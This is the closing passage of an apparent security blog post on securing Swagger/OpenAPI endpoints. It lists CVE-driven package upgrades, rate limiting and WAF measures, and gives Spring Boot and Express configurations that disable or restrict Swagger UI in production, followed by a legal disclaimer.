9 Upgrade rswag ≥2.10.1 Fixes CVE-2023-38337 path traversal. Run bundle update rswag. HIGH
10 Upgrade http-swagger ≥1.2.6 Fixes CVE-2022-24863 DoS. Run go get github.com/swaggo/http-swagger@v1.2.6. HIGH
11 Upgrade fastify-swagger-ui ≥2.1.0 Fixes CVE-2024-22207. Set baseDir option explicitly. MEDIUM
12 Rate Limit API Endpoints Prevent brute-force and enumeration attacks discovered via Swagger. MEDIUM
13 Implement API Versioning Controls Decommission old API versions. Do not document deprecated endpoints in public specs. MEDIUM
14 Use WAF Rules for Swagger Paths Block access to /swagger-ui, /api-docs from untrusted IPs at WAF/CDN level. MEDIUM
15 Scan with Nuclei / DAST Regularly Integrate Nuclei Swagger templates into CI/CD pipeline for continuous testing. MEDIUM

16.1 Spring Boot — Disable Swagger in Production

Java / YAML Spring Boot — Conditional Swagger
// application-production.yml — disable swagger in prod
springdoc:
  api-docs:
    enabled: false
  swagger-ui:
    enabled: false

// application-development.yml — enable in dev only
springdoc:
  api-docs:
    enabled: true
  swagger-ui:
    enabled: true
    disable-swagger-default-url: true  # Disable ?url= param
    supported-submit-methods: []  # Disable "Try it out"

16.2 Node.js (Express) — Secure Swagger Configuration

JavaScript Express — Secure Swagger Setup
const swaggerUi = require('swagger-ui-express');
const swaggerDocument = require('./swagger.json');

// Only enable in non-production environments
if (process.env.NODE_ENV !== 'production') {
  const swaggerOptions = {
    swaggerOptions: {
      // Disable external URL loading
      url: null,
      configUrl: null,
      // Disable "Try it out" in shared environments
      supportedSubmitMethods: [],
      // Disable deep linking
      deepLinking: false
    }
  };

  // Protect with basic auth middleware
  app.use('/api-docs', basicAuth({ users: { admin: process.env.SWAGGER_PASS } }));
  app.use('/api-docs', swaggerUi.serve, swaggerUi.setup(swaggerDocument, swaggerOptions));
}

17. References, CVE Links & Exploit Resources

Official CVE / NVD References

Exploit-DB & PoC References

Research & Write-ups

Tools & Resources


⚠️ Legal Disclaimer

This document is provided for educational and authorised security testing purposes only. All techniques, PoC code, and exploit references are intended to help security professionals identify and remediate vulnerabilities in systems they own or have explicit written permission to test. Unauthorised use against systems you do not own is illegal and unethical. Always obtain proper authorisation before conducting any security testing.

Last Updated: March 2026  |  CVE data sourced from NVD NIST, GitHub Security Advisories, and Exploit-DB

Comments

Popular posts from this blog

Tutorial: Build an AI Penetration Tester with Claude (MCP + Burp)

InfluxDB TCP 8086 (Default) — Authentication Bypass & Pentest Notes

Mastering PowerShell Execution Policy Bypass